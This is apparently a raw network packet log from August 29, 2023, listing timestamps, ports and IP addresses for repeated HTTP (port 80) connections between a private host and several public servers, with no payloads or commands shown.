Aug 29, 2023 22:49:03.146584034 CEST	50036	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:49:04.151212931 CEST	50036	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:49:06.166435957 CEST	50036	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:49:10.181227922 CEST	50036	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:49:10.218358994 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:10.465856075 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.466078997 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:10.466268063 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:10.713813066 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806478024 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806536913 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806592941 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806693077 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:10.806729078 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806788921 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806843996 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.806930065 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.807015896 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.807071924 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:10.807105064 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.807234049 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:10.807267904 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:10.807411909 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:11.054635048 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.054665089 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.054686069 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.054929972 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:11.054991007 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055051088 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055073023 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055094004 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055115938 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055150986 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:11.055176020 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055197954 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055202007 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:11.055335999 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055341005 CEST	80	50037	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:11.055386066 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:11.055537939 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:11.977617979 CEST	50037	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:12.993398905 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.253899097 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.254175901 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.254230976 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.514734030 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587274075 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587337971 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587394953 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587449074 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587501049 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587531090 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.587553978 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587599993 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.587608099 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587661982 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587713957 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587766886 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.587769985 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.587990046 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.587990046 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.848215103 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848345995 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848408937 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848467112 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848520994 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848573923 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848628044 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848647118 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.848647118 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.848683119 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848737955 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848793983 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848822117 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.848849058 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848900080 CEST	80	50038	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:13.848985910 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.849128962 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:13.849273920 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:14.758399963 CEST	50038	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:15.774090052 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.027375937 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.027605057 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.028126955 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.028208971 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.028260946 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.281260967 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.281331062 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.281372070 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.281534910 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.281608105 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.281636000 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.281697035 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.281881094 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.281917095 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.282079935 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.282191038 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.282360077 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.534813881 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.534884930 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.534946918 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.535000086 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.535078049 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.535290003 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.535298109 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.535372972 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.535602093 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.535631895 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.535736084 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.535767078 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.535959005 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.536173105 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.536226988 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.788431883 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.788513899 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.788562059 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.788876057 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.789235115 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.789324045 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.789530039 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.789676905 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868521929 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868611097 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868707895 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868763924 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.868802071 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868860006 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868913889 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.868968010 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.869003057 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.869024038 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.869051933 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.869077921 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.869132042 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:16.869225025 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:16.869301081 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.122061014 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122148991 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122242928 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122320890 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122410059 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.122415066 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122479916 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122534990 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122555017 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.122589111 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122644901 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122689962 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.122709036 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122766018 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122780085 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.122816086 CEST	80	50039	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:17.122924089 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.122925043 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:17.538966894 CEST	50039	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:18.195007086 CEST	50036	80	192.168.11.20	107.148.134.218
Aug 29, 2023 22:49:18.554730892 CEST	50040	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:18.798019886 CEST	80	50040	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:18.798261881 CEST	50040	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:18.798394918 CEST	50040	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:19.041680098 CEST	80	50040	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:19.076994896 CEST	80	50040	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:19.077018023 CEST	80	50040	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:19.077419043 CEST	50040	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:19.077524900 CEST	50040	80	192.168.11.20	157.7.107.119
Aug 29, 2023 22:49:19.320067883 CEST	80	50040	157.7.107.119	192.168.11.20
Aug 29, 2023 22:49:27.130968094 CEST	50041	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:49:27.290208101 CEST	80	50041	107.148.17.67	192.168.11.20
Aug 29, 2023 22:49:27.290384054 CEST	50041	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:49:27.290653944 CEST	50041	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:49:27.449839115 CEST	80	50041	107.148.17.67	192.168.11.20
Aug 29, 2023 22:49:27.525423050 CEST	80	50041	107.148.17.67	192.168.11.20
Aug 29, 2023 22:49:27.525454998 CEST	80	50041	107.148.17.67	192.168.11.20
Aug 29, 2023 22:49:27.525477886 CEST	80	50041	107.148.17.67	192.168.11.20
Aug 29, 2023 22:49:27.525759935 CEST	50041	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:49:27.525901079 CEST	50041	80	192.168.11.20	107.148.17.67
Aug 29, 2023 22:49:27.684655905 CEST	80	50041	107.148.17.67	192.168.11.20
Aug 29, 2023 22:49:32.536037922 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:32.687078953 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.687324047 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:32.687484026 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:32.839044094 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.842777967 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.842927933 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.842987061 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.843044043 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.843086004 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.843128920 CEST	80	50042	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:32.843257904 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:32.843257904 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:32.843422890 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:34.191567898 CEST	50042	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.207384109 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.360578060 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.360893011 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.361016989 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.514349937 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517298937 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517371893 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517429113 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517484903 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517525911 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517565012 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517610073 CEST	80	50043	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:35.517626047 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.517627001 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.517702103 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:35.517765999 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:36.862922907 CEST	50043	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:37.879426956 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.027950048 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.028183937 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.028908968 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.028992891 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.177565098 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.177623987 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.177664995 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.177865028 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.177908897 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.177966118 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.178025961 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.178116083 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.178206921 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.178287983 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.178307056 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.178472042 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.178652048 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.326611996 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.326669931 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.326901913 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.326917887 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327007055 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327058077 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.327186108 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327203035 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.327228069 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327342987 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327380896 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.327511072 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327616930 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.327797890 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.475632906 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.475699902 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.475742102 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.476141930 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.476210117 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.476349115 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.476394892 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.476669073 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552381992 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552453995 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552510977 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552618980 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552679062 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552722931 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552766085 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.552787066 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.552788019 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.552994013 CEST	50044	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:38.701364040 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.701421976 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:38.701462984 CEST	80	50044	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.550874949 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.697504997 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.697740078 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.697865009 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.844357967 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846213102 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846296072 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846357107 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846411943 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846466064 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846514940 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.846519947 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846574068 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846628904 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846673965 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:40.846710920 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.846764088 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.846998930 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.847081900 CEST	50045	80	192.168.11.20	96.44.182.131
Aug 29, 2023 22:49:40.995070934 CEST	80	50045	96.44.182.131	192.168.11.20
Aug 29, 2023 22:49:45.861196995 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.035655975 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.035901070 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.036077976 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.210577011 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314182043 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314269066 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314331055 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314424992 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314508915 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314543962 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.314570904 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314603090 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.314649105 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314704895 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314759970 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314814091 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.314821005 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.314930916 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.315092087 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.489239931 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489337921 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489393950 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489470005 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489545107 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489634991 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489680052 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.489681005 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.489691019 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489743948 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489799023 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489851952 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.489881039 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.489963055 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.490005016 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.490032911 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490154028 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490250111 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490304947 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490367889 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.490444899 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.490593910 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490662098 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490715981 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490798950 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490873098 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.490910053 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.490932941 CEST	80	50046	162.0.239.145	192.168.11.20
Aug 29, 2023 22:49:46.491094112 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:46.491142988 CEST	50046	80	192.168.11.20	162.0.239.145
Aug 29, 2023 22:49:47.548109055 CEST	50046	80	192.168.11.20	162.0.239.145
